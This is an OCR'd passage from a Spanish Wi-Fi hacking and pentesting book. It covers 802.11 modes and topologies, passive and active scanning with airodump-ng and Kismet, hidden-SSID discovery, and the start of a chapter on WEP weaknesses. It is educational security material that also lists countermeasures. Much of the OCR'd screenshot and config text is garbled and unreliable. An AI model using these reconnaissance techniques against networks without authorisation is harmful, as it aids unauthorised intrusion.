a permitir el uso de «Fuente» como «Transmisors y de «Destino» como « Receptor»
para proporcionar un nivel de compatibilidad entre los filtros que funcionan en
las tramas de control y de datos.

@I - © Modos de operacion JIINND

El estandar 802.11 define dos modos de operacion para las redes inaldmbricas:

+ Modo ad hoc (Punto a punto) o IBSS.

+ Modo infraestructura (con AP).

Ad-hoc o IBSS

| (sin AP) Infraestructura (con AP)

BSS (1 AP) ESS (varios AP)
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En casi todas las evaluaciones inaldmbricas con las que se vera involucrado, el
Unico modo gue evaluara es el modo de infraestructura donde las redes son
atendidas por el AP. El modo ad hoc rara vez se ve en entornos de produccion.

g461 M_ogo ad hoc

Consiste en un grupo de computadores (desktop, portatil, servidor y workstations)
cada uno equipado con una tarjeta LAN inaldmbrica. También puede conectarse
un smartphone o una tablet.

En el modo ad hoc no es necesario un AP central, las estaciones cliente forman
una red punto a punto para comunicarse entre ellas.

Para una determinada WLAN con topologia ad hoc, todos los equipos conectados
a ella (host) deben ser configurados con el mismo BSSID. Las estaciones cliente
configuradas en el modo ad hoc participan en la topologia IBSS.

' Como no es necesario un AP central para transferir datos entre dos estaciones
cliente, un atacante generalmente se dirigira a los clientes en lugar de a los AP.
Esta configuracion rara vez se usa y no es comun en aplicaciones de consumo
0 comerciales.

1462 Modo infraestructura

Contrario al modo ad hoc donde no hay un elemento central, en el modo infraes-
tructura hay un elemento de «coordinaciény: un AP o estacion base. Si el AP se
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conecta a una red Ethernet cableada, los clientes pueden acceder a la red fija a
través del AP.

Para interconectar muchos AP v clientes inalambricos, todos deben configurarse
con el mismo SSID. Es la configuraciéon mas habitual. Aungque cada computador

necesita una tarjeta wireless (USB o PCI).

LAN cableada

/f \\‘ '

™7
Ve

/

Las redes wifi utilizan el estandar 802.11 en modo infraestructura. En este modo

se utilizan AP para conectar las estaciones de cliente inaldmbrico con una cone-
xion LAN cableada o con la Internet. Los AP podrian ser vistos como el analogo
de los switches para las redes cableadas, pero ofrecen mas funcionalidades tales
como el enrutamiento de la capa de red, DHCP, NAT y capacidades avanzadas de
administracion a través de la consola remota o en el panel de administracion web.

Hay dos tipos de modo infraestructura:

+ BSS (Basic Service Set): una red inaldmbrica formada por un Unico AP.

ESS (Extended Service Set): una red con multiples AP.

Cada AP se identifica por su BSSID (Basic Service Set ID), que normalmente corress
ponde a la direccion MAC de la interfaz inalambrica en el AP. En cambio, una LAN
inaldmbrica es identificada por su SSID o por su ESSID (Extended SSID), que es
generalmente una cadena legible que se utiliza como el nombre de la red.

Capitulo 4
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BSS

Los AP envian periodicamente tramas beacon para anunciar su presencia.
Normalmente, los beacons también contienen el SSID del AP, por lo que son
facilmente identificables por los clientes. Estos pueden enviar solicitudes de auten-
ticacion y de asociacion al AP para conectarse a la red inaldmbrica.

- 47 Topologias de red inalambricas -

La topologia de una red es la arquitectura de la red, la estructura jerarquica que
hac§ posible la interconexion de los equipos. El estandar IEEE 802.11 para redes
inalambricas wifi contempla tres topologfas o configuraciones distintas:

BSS (Basic Service Set).
ESS (Extended Service Set).
»  |BSS (Independent Basic Service Set).
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A1 i

Ahora, vea cada una de ellas en detalle: Ethernet por cable que proporciona un servicio a las estaciones colectiva-
. BSS mente. Una estacion puede recorrer libremente entre dos BSS en un ESS sin ‘
perder conectividad. it
Consiste en un AP con una o mas estaciones de cliente conectadas a el. Las * t
| estaciones cliente se comunicaran a través del AP. La siguiente figura muestra b1. ESSID
la topologfa BSS: | El nombre de red de un ESS se llama Identificador de conjunto de servicios

extendido (Extended Service Set Identifier). EI ESSID y el SSID son similares,
pero un ESS puede contener AP con diferentes SSID alin conectados al
mismo ESS. Los AP conectados a la misma red de distribucion pueden tener
sus propios SSID, pero son parte de un conjunto de servicios ampliado. La
siguiente figura muestra un conjunto de servicios extendido:

BSS
(Basic Service Set)

7 \
e
‘\'\ sy

Ve

ESS \
(Extended Service Set)

AP Cliente 3

Cliente 1

Cliente 2

‘."‘,.
AP Cliente

Cliente
. Cliente '

Cliente

>

Cliente

Hay algunas otras consideraciones a tener en cuenta cuando se trata del BSS: | I

A + Basic Service Set Identifier «ldentificador basico del conjunto de servicio» Esta c. IBSS ! r l |

es simplemente la direccién MAC del AP, que es un identificador de 48 bits (es , ) _ ' hi 'l!

decir, xocxaoaoexxxx). Cada AP y estacion de cliente tiene sus propias direc- E sta tipologfa consiste solo de estaciones cliente conectadas entre sf, y no se it |

| ciones MAC [fieas, implementan AP. MUltiples estaciones cliente en el mismo rango funcionan ' ’)
en el modo ad hoc. i

. Service Set Identifier «Identificador del conjunto de servicio»: Este es | |

[ 1

simplemente el nombre de la red inaldmbrica que se puede configurar en :
un AP. Se puede configurar un unico AP con uno o multiples SSID definidos | 1
por el administrador de la red. EI SSID es como una etiqueta para la WLAN |
para diferenciarlo de otras WLAN. Es comdn que las organizaciones tengan

multiples SSID con diferentes caracteristicas, como restricciones de acceso, V‘ i
tipos de autenticacion o consideraciones de seguridad. : [

b. ESS

Esta tipologfa es similar a BSS; sin embargo, contiene multiples AP conuna o
mas estaciones de cliente conectadas a ellos en lugar de solo una. Se puede
ver como multiples BSS unidas por un sistema de distribucion, como una |

f
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IBSS
{Independent Basic Service Set)

Cliente

N \ Cliente

@ s seguridad inalambrica I

La transmisidn de datos en redes inaldmbricas es menos segura en comparacion
con las redes cableadas, ya que cualquier persona cercana puede «olers (sniff) el
trafico facilmente. Las LAN inaldmbricas pueden usar autenticacién abierta, como
lo hacen las zonas wifi gratuitas y, en este caso, no se requiere autenticacion de
los clientes y el trafico no esta encriptado, lo que hace que las redes abiertas
sean totalmente inseguras.

A lo largo del tiempo, se desarrollaron dos protocolos de seguridad que propor-
cionan autenticacién y cifrado a las LAN inalambricas:

+ WEP (Wired Equivalent Privacy): Es el estandar mas antiguo y extremada-
mente vulnerable.

. WPA / WPA2 (Wi-Fi Protected Access): Es mucho més moderno y resistente.

Los protocolos de autenticacion WEP y WPA / WPA2, y sus correspondientes
técnicas de cracking se analizaran en el capftulo 6 «Cracking del WEP» y en el
capitulo 7 «Cracking del WPA / WPA2», respectivamente.

Las redes WEP (generalmente) se basan en una clave estatica de 40 o 104 bits
que es conocida para cada cliente. Esta clave se usa para inicializar un cifrado
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de flujo (RC4). Muchos ataques interesantes son practicos contra el RC4 en la
forma en que se utilizan dentro de WEP. Estos atagues se tratan en el capitulo
6 «Cracking del WEP»,

WPA puede configurarse en dos modos muy diferentes: mediante una contrasefia
previamente compartida (o frase de contrasefia) y mediante el modo empresarial.
Ambas configuraciones se explican en el capitulo 7 «Cracking del WPA / WPA2»,

QS IR Resumen ABRISIROII

En este capitulo se vieron los conceptos definidos por el estdndar 802.11 usado
para redes inaldmbricas de drea local (WLAN). De este modo, explicd los estan-
dares que conforma el 802.11, las bandas, los canales, las tramas, los modos de
operacion y las topologias utilizadas, y menciond algunos aspectos de seguridad
inaldmbrica que serviran de base para los capitulos siguientes.

En el siguiente capitulo, aprendera sobre el software y las herramientas que

en detalle.

dispone Kali Linux que se pueden usar para buscar y visualizar redes 802.11 | E




Capitulo 5

Exploracién de
edes inalambricas

Este capitulo trata el escaneo v la recopilaciéon de informacion de redes inalam-
bricas, la enumeracion de las redes visibles v ocultas, la identificaciéon de los
protocolos de seguridad utilizados, sus posibles vulnerabilidades v los clientes
conectados. Asimismo, incluye la utilizacion de las herramientas airodump-ng

y Kismet.

Los temas tratados son los siguientes:

« Escaneo inalambrico: activo y pasivo.
+ Escaneo inaldmbrico con airodump-ng.

#+ Escaneo inaldmbrico con Kismet.

@ :: Escaneo inalambrico D

El escaneo de redes inalambricas a menudo se denomina también descubrimiento
de redes inalambricas o stumbling. Aqu se llamara escaneo inaldmbrico, que es un
acto de descubrimiento de las redes inaldmbricas disponibles en un area objetivo.

Antes de que pueda atacar una red inaldmbrica, necesita encontrar una, por lo
gue el escaneo es la fase inicial de todo pentest. Es la fase donde el atacante
retne la informacién necesaria que usara en las Ultimas etapas del ataque. La
cantidad de informacion recopilada en esta etapa afectard los planes de prueba
y definira las acciones adicionales que se llevaran a cabo en etapas posteriores.
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El objetivo principal del escaneo es obtener informacion sobre los APy los clientes
conectados a ellos. Se espera obtener al menes los siguientes resultados:

« Lista de aps en operacion.
+ Lista de clientes conectados a los AP.
+ Direcciones MAC de AP y de clientes.

+ Canales en los que estan operando.

Intensidad de la sefal.

2,
%

Métodos de autenticacion implementados.

*,
e

»  Esquemas de encriptacion usados.

»

El escaneo inaldmbrico se puede categorizar ampliamente en escaneo pasivo o
escaneo activo:

+ En el escaneo pasivo, un atacante descubre silenciosamente la red obje-
tivo de una manera poco intrusiva, lo que generalmente no deja rastros de
evidencia en la red objetivo.

+ En el escaneo activo, un atacante explora e interactla con el objetivo, lo
que puede dejar algunos datos forenses, como registros, degradacion del
rendimiento o un impacto en las sesiones de los usuarios.

Si bien el escaneo pasivo es el método preferido para las pruebas de penetracion
inalambrica, quiza, necesite usar el escaneo activo si las técnicas de escaneo
pasivo se estancan o no producen los resultados requeridos. Se revisaran estas
dos técnicas a continuacion.

_[Nota| -

’ Wardriving
El escaneo de redes inalambricas se ha vuelto muy. popular,
incluso entre personas no técnicas, también debido al
feromeno conocido como wardriving, El wardriving es 3
achvidad de localizar redes inalambricas al aire libre, gene-
ralmente canduciendo un automavil v equipadeo con un

portatil, una antena de alta ganancia v un receptar GPS

Las herramientas de exploracion inalambrica, como airodump-ng o Kismet, se
pueden utilizar para descubrir y capturar el tréfico de las redes inalambricas.

Capitulo 5
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Trabajan en interfaces ubicadas en el modo de monitor vy saltan a diferentes
canales en el espectro inaldmbrico para recolectar paquetes inalambricos.

Como con la mayoria de las herramientas, la salida se muestra en Ia pantalla o
se puede almacenar en un archivo para referencia posterior. Los paquetes reco-
lectados se pueden analizar manualmente, o puede generar graficos visuales de
redes usando herramientas de analisis como airgraph-ng.

Puede usar el resultado de esta fase en la prueba de penetracién para priorizar
las redes y los clientes que serfan objetivos ideales en funcién de su importancia
en la organizacion, su facilidad de explotacion o, potencialmente, qué datos se
transportan sobre ellos.

@R - £scancopasivo JNNNED

Cada AP esta propagando continuamente una trama de gestién «beacony para
anunciar dentro de su drea de servicio las caracteristicas que ofrece en su cone-
xion. Cada trama beacon contiene el nombre, la direccién, las tasas admitidas,
etc. De otro lado, la estacién cliente esta «escuchando» continuamente estas
tramas beacon de manera que pueden detectar los AP que hay alrededor Suyo.
La trama beacon contiene toda la informacion necesaria para que el cliente pueda
conocer los parametros del AP antes de intentar una conexién. Si hay dos o méas
AP cercanos, la estacion cliente elegird el AP con la mejor sefal.

Lgs escaneos pasivos siempre estdn habilitados porque se usan para conectar
clientes a los AP,

1521 :,Cémo funciona el escaneo pasivo?

+ El adaptador inaldmbrico se pone en modo monitor para que pueda «olers

(sniff) todo el tréfico que pasa en un canal determinado del rango de
frecuencia de wifi.

Lols. paquetes capturados se analizan para determinar qué AP estan trans-
mitiendo, desde el BSSID contenido en las tramas beacon, y gué clientes
estan conectados.

De esta forma, los AP que estan ocultos del escaneo activo también pueden
ser revelados.
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[Noka) R SO

, En el escanea pasivo, N0 se envian tramas £
e —

La siguiente figura muestra un escenario en el que el cliente estd escuchando
tramas beacon vy realizando asi un escaneo pasivo.
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9
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b
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W
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1522 Desventajas y contramedidas del escaneo pasivo

El escaneo pasivo es limitado porgue es posible que no pueda detectar la presencia
de AP que no emiten tramas beacon.

Si est4 transmitiendo algo en un canal, un escaner pasivo |0 vera. Sin embargo,
puede tomar algunas precauciones practicas para minimizar la exposicion como
contramedidas a las actividades de escaneo inaldmbrico.

Una contramedida es desactivar la funcién de trama beacon en los AP como
un intento de evitar la deteccion. En este escenario, es posible gue no se pueda
detectar la WLAN a pesar de su presencia en el area objetivo utilizando solo una
técnica de escaneo pasivo. Esta limitacion puede superarse si se pudiera detectar
el trafico del cliente y su asociacion con estos AP que no son de sefializacion.

Otra contramedida puede ser esta: si su AP lo admite y no tiene clientes here-
dados de 802.11b/g, deshabilite el modo mixto en su APy siga estrictamente con
el estandar 802.11n o superior. De este modo hace que todos los paquetes de
datos que el AP transmite utilicen la codificaciéon 802.11n. Desafortunadamente,
las tramas beacon y probe response generalmente se envian con la codificacion
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8@2.11b, pero no es bueno ceder paguetes de datos a todos los wardrivers que
aun usan tarjetas b/g.

La otra opcion es poner su red en la banda 802.11a de 5 GHz. Muchos wardrivers no
se molestan en escanear este rango porque la mayoria de las redes operan a 2.4 GHz
ylos atacar’ltes, por lo general, no compran las tarjetas que admiten esta frecuencia ya
que son mas caras.

@R - Escaneo activo JININNND

El escaneo activo se realiza solo en canales gue estan permitidos por las regu-
laciones gubernam_entales. Un escaneo activo esté habilitado por defecto: sin
embargo, e.*sta)opo.on se puede deshabilitar en el perfil o la configuracién del
adaptador inalambrico.

jEst(? es (_el método estandar utilizado por los clientes para identificar las redes
inalambricas que estan disponibles en las cercanias.

1531 :Como funciona el escaneo activo?

+ La estacion cliente envia una trama de gestion probe request. E| campo SSID
puede contener un valor preferido (para buscar una red especifica) o puede
estar en blanco o nulas (para buscar todas las redes disponibles).

@ Los’AP cercanos gue escuchan o reciben esta trama probe request respon-
dgran conuna trama probe response cuyo contenido incluye practicamente la
misma informacion que la trama beacon propagada durante el escaneo pasivo.

En otras palabras, los AP buscan activamente otros dispositivos vy los escuchan
como se muestra en el siguiente grafico: |




Hacking & cracking - Redes inalambricas wifi
Luis Angulo Aguirre

1 53.2 Desventajas y contramedidas del escaneo activo

La desventaja de este método de escaneo es que un AP puede configurarse
para ignorar las tramas probe request y excluir su SSID desde las tramas beacon
que envia (esto se conoce como AP oculto); por lo que, en este caso, el escaneo
activo no podria identificar la red.

Como contramedida, como administrador de red, configure un AP para que ignore
las tramas probe request configuradas como nulas para evitar que descubran
los SSID configurados. En este escenario, un cliente configurado correctamente
con un SSID vélido solo podra descubrir la presencia de un AP y luego conec-

tarse a la red.

El siguiente diagrama representa la naturaleza de solicitud / respuesta de un
cliente que estd escaneando activamente la red:

Capitulo 5
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Probe

Respanse Response

Probe
Request

No lo olvide, si un escéner activo no puede encontrar el nombre de una red,
entonces los clientes legitimos tampoco pueden. La gjecucion de una red en
modo «ocultor requiere mas mantenimiento (o conocimiento del usuario) en las
estaciones de usuario final. En particular, los usuarios deben saber en qué red
estan interesados y de alguna manera ingresar su nombre en su sistema operativo.

@ 5« Herramientas para escaneo JIIID

El estdndar 802.11 especifica que los clientes pueden utilizar dos técnicas para
buscar una red para asociarse:

+ Tramas beacon.
+ Tramas probe reguest.

Las herramientas que implementan el escaneo activo envian periodicamente
tramas probe request. Estas tramas son utilizadas por los clientes cada vez gue
buscan una red. Los clientes pueden enviar dos tipos de tramas:

+ Tramas probe request dirigidas («Red X, ;estas ahi?»),

+ Tramas probe request de difusién («Hola, ¢hay alguien alli?»).

_[Nota]

, Sniffers, Stumblers y Scannhers
La terminelogia relacionada con las herramientas inaldmbricas puede ser un poco abru-
madora. En términos generales, la mayoria de las herramiertas que aplican el escaneo
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s que implementan el

ctvo se denominan stumblers, mientras que las herramien

o i e T A
generalmente se considera

a
escaneo pasivo se llaman scan . Sinembarge, un stumb

una «herramienta de escaneor (incluso si
stan especificamente relacionadas can

son herramientas de manitoreo de red que e

-edes inalambricas, Un sniffer es simplemente una herramienta que le muestra todos los
paquetes que ve la interfaz. Un sniffer es un programa de aplicacién. Si un controladar o
tarjeta inaldmbrica no entrega el paquete al sniffer para su procesamienta. el rastreadol

no puede hacer nada al respecto.

Las herramientas que implementan el escaneo pasivo generan resultados consi-
derablemente mejores que las herramientas que usan el escaneo activo. Las
herramientas de escaneo pasivo no transmiten los paquetes ellos mismos; en
cambio, escuchan todos los paquetes en un canal dado y luego analizan esos
paguetes para ver qué esta pasando. Estas herramientas tienen una vista mucho

mejor de las redes circundantes.

Las herramientas para escanear redes inaldmbricas incluidas en Kali Linux caen
en la categoria de escaneres pasivos. En este capitulo, se cubren las dos herra-
mientas mas populares: airodump-ng y Kismet, pero también se pueden usar
herramientas como Fern Wi-Fi Cracker y Wifite para este propdsito.

A continuacion, mire cada una de estas herramientas con mas detalle y como
pueden ayudarle a descubrir redes inalémbricas

I 5.4 Escaneo inalambrico con airodump-ng

La herramienta airodump-ng es una de las muchas herramientas incluidas en la
suite Aircrack-ng. Es capaz de realizar sniffing y capturar tramas 802.11, ademas
de registrar informacion relativa de los APy clientes descubiertos.

Por otro lado, la herramienta airodump-ng escanea la handa de frecuencia wify,
saltando de un canal a otro. Para usarlo, después de haber puesto la interfaz
inalambrica en modo monitor, como se vio anteriormente (ver capitulo 3), ejecute el
comando airedunp-ng wiane, La siguiente captura de pantalla muestra su resultado:

B I I ——e—
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CH 11 || Elapsed: 2 mins [ 7018-84:26 61:1A || interface wian® dawn
B PWR 6N fAoata, @/s €H MB ENC CTPHER AUTH ESSID

4 Sd4a  WPAZ CC
6 WPAZ COM
WPAZ

WRAZ ©

& WPA T
WPAZ T

WPA

Link_Fo3n

=g

bt
o
P
P
o
B
B
e

WPAZ COMP
WPA  COMP

-6h
-fid
33 -56

STATION

La primera linea muestra la dltima asociacion entre un AP v un cliente, con el
canal actual; es decir, muestra el tiempo de ejecucion transcurrido (efa,psed) y
el prqtocolo de seguridad utilizado. Como se observa en la captura de pantalla
fanterlor, la mitad superior de la pantalla muestra los AP mientras que la mitad
inferior muestra los clientes.

Para cada AP encontrado, se muestra la siguiente informacion:

« El BSSID (direccién MAC).

.
<

El nivel de potencia (PWR) de |a sefial.

+ La cantidad de tramas beacon enviadas v la cantidad de paquetes de datos
capturados (#Data).

+ Elcanal (CH).
+ La velocidad méaxima admitida (MB).

+ El algoritmo de encriptacion (ENC), el cifrado (CIPHER)
ritmc | el protocol
autenticacion (AUTH) utilizados. e oo

+ El nombre de la red inaldmbrica o SSID (ESSID).

Si <length: niimero> aparece en el campo ESSID, significa que el SSID esta oculto
yel _AP solo revela su longitud (nimero de caracteres). Si el nimero es 0 o 1
significa que el AP no revela la longitud real del SSID. ,
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En la mitad inferior, el campo STATION se refiere a la direccion MAC de los
clientes gue se pueden asociar con un AP. Si esta asociado, el BSSID del AP se
muestra en el campo relativo; de lo contrario, se muestra el estado «Not asso-
ciated». El campo Probe indica los SSID de los AP a los que el cliente intenta
conectarse si no estan asociados actualmente. Esto puede revelar un AP oculto
cuando responde a una trama probe request o a una association request de

un cliente.

Hay otros métodos para obtener un SSID oculto. Podria obligar a los clientes
conectados a reasociarse con el AP envidndoles paguetes de desautenticacion,
como se vera en el capitulo 9 «Ataque a clientes inalambricos». También podria
analizar la asociacion capturada y las tramas probe request o probe response con
Wireshark para recuperar el SSID. Se tratard el analisis de tramas en el capitulo 6
«Cracking del WEP» y en el capitulo 7 «Cracking del WPA / WPAZ».

Puede escribir el resultado en un archivo usando las opciones -w 0 -write seguido
del nombre del archivo. Airodump-ng puede guardar la salida en varios formatos
(pcap, ivs, csv, gps, kismet y netxml), compatibles con Kismet y herramientas de
andlisis de paguetes como Wireshark.

Airodump-ng también permite seleccionar canales especificos a través de
la opcion

—channel o -c¢ <ch_nrl, ch_nr2 ... ..ch_nri>:

airodump-ng -c 1 -w output wlan@

BSSID Beacons #Data, #/s CH ENC CIPHER AUTH ESSID
WPA <lengths
WPa <length:
WPA2 CCMP 5 TP-Link F636
WPA2 CCHP £ Arturo casa
WPA2 CCHP SK Mortys
WPA CCHP - WLAN 2DED
WPA2 CCHMP P A
WPA2 CCHMP |
WPAZ CCHMP MIGUELTITO
WPA  CCMP Rafarl
WPA2 COCMP WLAN 19A8
WRAZ CCMP BENJAMINYLUANA
wpA CCMP 5 Giulliana
WPAZ CCMP 5 CHICHO

= WPA - CEMP WLAN DEES

= WPA  CCMP WLAN FAAE

8
B
a
112
B
8
]
B

1
1
q
3
B
1
1
2
1
1
1
1
1
1
1
1

Frames Probe

3 Arturoc casa

DH:FR:5EEE:3E:3F
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I 5 4.2 Escaneo inaldambrico con Kismet

K;smgt es un poderoso escaner pasivo disponible para diferentes plataformas y
esta instalado por defecto en Kali. No es simplemente un escéner, sino también
una herramienta de anélisis de tramas inaldmbricas vy deteccién de intrusos.

Kismet se compone de dos componentes principales:
« kismet_server.
« kismet_client.

El componrente 'kismet_server se encarga de capturar, registrar y decodificar
tramas inalambricas. Su archivo de configuracion es kismet.conf y est4 ubicado
en /etc/kismet/ en Kali Linux.

El frontend kismet_client es una interfaz basada en la biblioteca ncurses
gue muestra los AP detectados, las estadisticas v los detalles de la red.
Para ejecutarlo, escriba «kismet» en la linea de comandos o navegue a Kali
Linux > Ataques Wireless > Herramientas inalambricas 802.11 > Kismet desde
el menu Aplicaciones.

Aplicariones ~ Lugares «

BERUES

Favortas

A aircrace-ng

0
Eﬁ cowpatty
" Fern wifi cr..

5 “ﬂ ghast phis

acion de Informa...

10 - Mantaniendo Acceso

11 - Farensta

12 - Herramientas de Reparte

mAerm
piiewps

Usual applications -

Qomo puede ver, Kismet pide que inicie el servidor, elija Yes y luego Start en el
siguiente mensaje.

TRARITE
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—— - ¥ root@katl: -

Terminal  Ayuda
indows

Luego, aparece un mensaje que dice gue no se definieron las fuentes (Nq sources)
de los paquetes y se le pide que agregue una fuente de paquete. Haga clic en Yes.

MY i e ' “root@kali2018: ~ = : e 0 Qh
Archiva  Editar Ver Buscar Terminal Ayuda

La fuente del paquete es su interfaz de modo monitor wlan0 (puede ser también

wlanOmon o mon) y la inserta en el campo
Intf en el mensaje siguiente.

Fl origen del paquete también se puede
establecer en el archivo kismet.conf, en la
directiva ncsource, como puede ver en la
siguiente captura de pantalla:
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% Walfen Gree mewn e
¥ nat conbiiually reading --kelpt

¥ VYarsiom of Kisret config |

weralop-2609-newsare

¥ Navs of server (Mursly for orgmnizetiomal purposes)
# 1f cornented aut, defaulis to host name of systen
W wervernemesliseet Server

# Prefis of whare ve log (@ Used in the logtesplate Latwr) ‘
¥ Logorefiss/sone/path/to) lags

¥ Do we process the vontents of dete ftares? TF this is emabled, data

¥ franes wilL b trunceted to the headers only irsedlotely afler frame type
¥ detection, This will divable [P det=ction, etc, lowsver il iy Likely

(¥ safer {and defloitely mors pollte) if meaitoring networks yau do nvt own.
¥ hidedatacztiue

¥ Do we sllow plugine te be wwed? Thia wlil lowd plugins froe the araten

W and wear plugin directiorles when set te true (3e0 Lhe READNE for the defsult
¥ plugin Locatioms),

@1 lowplugine =t rue

¥ Swe the RLADME for full informstion en the new seitee Tornst
¥ mesowrga=interface options
¥ for sxsaple:

Lo =
[¥ ecnoures=wl F1: Lypranndel (4
¥ acuourceswland rosme=intel, bop=Falue, chamel =11

Esta es la forma recomendada de configurar el origen del paquete, evitando ;I.Ll |
hacerlo manualmente cada vez que se inicia Kismet. |

Cierre el terminal del servidor (haga clic en [Close Console Windows]). |

Mas tarde, se muestra la interfaz del cliente. Para acceder al ment en la parte
superior de la ventana, presione la tecla ~ y muévase sobre las entradas con las
teclas de flecha. La interfaz y el compartamiento de Kismet son personalizables
navegando a Kismet > Preferences. Il

f
| root@kati: ~ (-} 1 |
e

| Archive  Editar Ver Blscar  Terminal Ayuda

~ I Sort View Windows

kali
Start Server...

Server Console. ., < Elapsed
. f8;:18.51

Discoannect D Networks
0

Add Source, .. A

Config Channel... L W rackets packets

Plugins e -
Eetorences R Pkt/Sec

1 Calors. . 4]
0 JOULTE 0 client Calumns. ;.
‘ Y Client Extras...
GPS. ..
info Pane. ..
i Network Columpsg, ..
cilatWwork Extras. .,
SErVers. ..
IStartup & Shutdown. .,
‘Warnings: ..

Filterad

SHoamAN

@ wnad
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+ Lista de redes.
+ Lista de clientes.
« Grafico de paguetes.

<+ Estado.

+ Panel lateral de informacién general a la derecha.

| < Rdamet fort View Mintouws
j . KAlizbie

Flopsed
Bp:9l .49

Hutworks

packets

Pkt /5ac
y

Filtered

Puede elegir qué secciones visualizar en el menu View.

.(_
| root@kali; ~ i

s
Archivo  Editar Ver Buscar Terminal Ayuda
. = Kismet Sort Windows

AR Ellent LAST
XGPS Data
¥ Battery
X neneral Info
X Status
X Packet Graph
X Source Info

B rackets

La lista de redes (Network List) muestra las redes detectadas en el modo de
ajuste automatico predeterminado. Para seleccionar una red y ver sus detalles y
los clientes conectados, necesita cambiar el método de clasificacién a otro, por
ejemplo, usando Tipo o Canal en el ment Sort. Entonces, puede seleccionar una

red en la lista haciendo clic en ella con el raton.

T Kiwmet Soct View Windous

A 9 i 146 4938
N B4 BE-DZoFS1 4D Lash sven

Navegue a Windows > Networks
Details para obtener informacion més
detallada, como el BSSID, el canal, el
fabricante, el nivel de sefial, la velo-
cidad de paquete, etc.

Archivo (Fditar Ver Buscar
T Hetwork View
a

2: Anthony
A

S51ID: Anthany
gth:- 7
eé: Beacon (ar

WPA TKIP

Encryption
Beacon %: 20

Terminal  Ayuda

'BF:B2:F5: 4
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Networks
L]

Packets
144432

PET/SEc

Filtered

|Archivo  Editar, Ver Buscar Terminal Ayu-da i

- Kismet Sort View

AR ABD 2
. Anthony

BSSID: AO:64:8F:0

64dBm (max -&1dBm)
OdBm (max -256¢8Bm)

Client List...
Network Nete...
Channel Details. ..
GPS Details...
Alerts...

=~

¥E N
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Si selecciona la opcidn Clientes, puede ver los clientes conectados a la red, junto
con informacion Util, como la direccion MAC, los paguetes intercambiados vy el

fabricante del dispositivo cliente.

| Archivo Editar Ver Buscar Terminal Ayuda

Clients Sort Win

X En el caso de redes con SSID oculto, Kismet muestra la cadena <SSID oculto> en
lugar del nombre de la red. Cuando un cliente intenta conectarse a lared, el AP
envia el SSID con claridad en los paguetes de respuesta, lo que permite a Kismet
descubrirlo, como ya se ha visto con airodump-ng.

De forma predeterminada, Kismet genera los siguientes archivos de registro en
el directorio desde el que ha sido iniciado (puede cambiar las preferencias en la

directiva logtemplate en kismet.conf):

« Un archivo de captura de paguetes.

+ Redes en formato de texto {.nettxt).

el ] [ » Redes en formato XML (.netxml).

. I

== - + Datos de GPS en formato XML (.gpsxml).
T Los archivos de captura de paguetes pueden ser examinados mediante Wireshark
e y pueden contener datos de espectro, niveles de sefial v ruido, y datos de GPS.

g De hecho, Kismet, asi como airodump-ng, puede integrarse con un receptor de
GPS a través del gpsd daemon para establecer las coordenadas de las redes, las

u
, X cuales también podrian usarse para realizar mapas graficos con herramientas
| q apropiadas, como GISKismet.
=t _[Notal - _
| 8 GISKismet
- = ! SiSKismet es una herramienta de visualizacion para Kismet (incluida por defecto en [<ali
) Linuy) cue permite importar los archivos netxml en una base de datos SQLite, para gue

pueda ejecutar consultas SQL en ellay construir graficos y mapas de las redes. Esta
herramienta padria ser muy Gtl, especialmente al escanear redes grandes con muchos
AP. Para obtener mas informacion, consuilte el sitio web de GISKismet http://tools.kall.
org/wireless-attacks/giskismet.
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SRR Resumen SNEIIERIS

En este: c’apliculo se trataron los conceptos bésicos del escaneo inaldmbrico v
se explicd como descubrir y recopilar informacién sobre redes inaldmbricas
usapdo dos de las herramientas mas efectivas incluidas en Kali Linux: airodump-ng
y Kismet.

En el proximo capitulo se analizard el protocolo WEP v se vera por gue es inse-
guro. A{_:lemas, aprendera a descifrar las claves WEP usando las herramientas
proporcionadas con Kali Linux.

|
e
I
i
|



Capitulo 6

Cracking
del WEP

RO A S TR A

Este capftulo tratard el protocolo WEP (Wired Equivalent Privacy) v sus vulnerabili-
dades, mostrando cémo descifrar las claves WEP con algunas de las herramientas
incluidas en Kali Linux, como suite aircrack-ng o Fern WiFi Cracker.

Se trataran los siguientes temas:

< Introduccion a WEP,
« Atagues contra WEP.

Cracking WEP con aircrack-ng.
Cracking WEP con herramientas automatizadas.

Cracking WEP con Fern WiFi Cracker.

@ 5. introduccion al WEP -

El protocolo WEP se introdujo con el estandar 802.11 original como un medio
para proporcionar autenticacion y encriptacién a las aplicaciones de LAN inalam-

bricas. Se basa en el algoritmo de cifrado RC4 (Rivest Cipher 4) que utiliza claves
de 64 bits o de 128 bits:

Clave de 64 bits (40 bits + 24 bits del vector de iniciacion IV).
+  Clave de 128 bits (104 bits + 24 bits del vector de iniciacion V).
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La clave secreta, previamente compartida (preshared secret ke){ 0 PSK)', .dg 4Q 0
104 bits se concatena con un vector de iniciacion seudoaleatorio [V (Ir?f?ﬁahzahon
Vector) de 24 bits para generar el keystream por paquete, el cual es utilizado por
el RC4 para los procesos reales de cifradoy descifrado. Por lo tanto, el keystream

resultante podria ser de 64 o 128 bits de longitud.

Hay dos fases:

En |a fase de cifrado, se usa el cifrado XOR del keystream con el texto no
cifrado para obtener el texto cifrado.

En la fase de descifrado, se usa el cifrado XOR del texto cifrado con el keys-
tream para obtener el texto no cifrado.

2,
<

El proceso de encriptacion se muestra en el siguiente diagrama:

Keystream

Vikey —> [rRCa]l—[ 0 [ 1] 0] 1]
@

Textonocifrado —>|[ 1 | 1 [ O | 0 |

Textocifrado —>[ 1 [ 0 [ 0 | 1]

Para mas detalle sobre el cifrado XOR, vea el anexo 2 «Cifrado XORb.

@ 52 Ataques contra el WEP ]

Antes que nada, debe saber que WEP es un protocolo inseguro y ha sido desa-
probado por Wi-Fi Alliance. Presenta varias vulnerabilidades relacionadas con la
generacion de los keystreams, el uso de [V'y la longitud de las claves.

El IV se usa para agregar aleatoriedad al keystream, tratando de evitgrlla reutiliza-
cidn del mismo keystream para cifrar diferentes paquetes. I.Este propqsﬁo no se hf
logrado en el disefio de WEP, porque el IV tiene solo 24 bits dg lor.wgltud (con 2

24 = 16777216 valores posibles) y se transmite como textg sin cifrar dent_ro de
cada trama. Por lo tanto, después de un cierto periodo de tiempo (dgpenngndo
del trafico de la red) se volvera a utilizar el mismo IV'y, en consecu.enua, el m|§mo
keystream, lo que permitira al atacante recopilar los textos {je cifrado relativos
y realizar ataques estadisticos para recuperar los textos no cifrados v la clave.
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El primer atague conocido contra WEP fue el ataque Fluhrer, Mantin y Shamir
(FMS), en 2001. El ataque FMS se basa en la forma en que WEP genera los
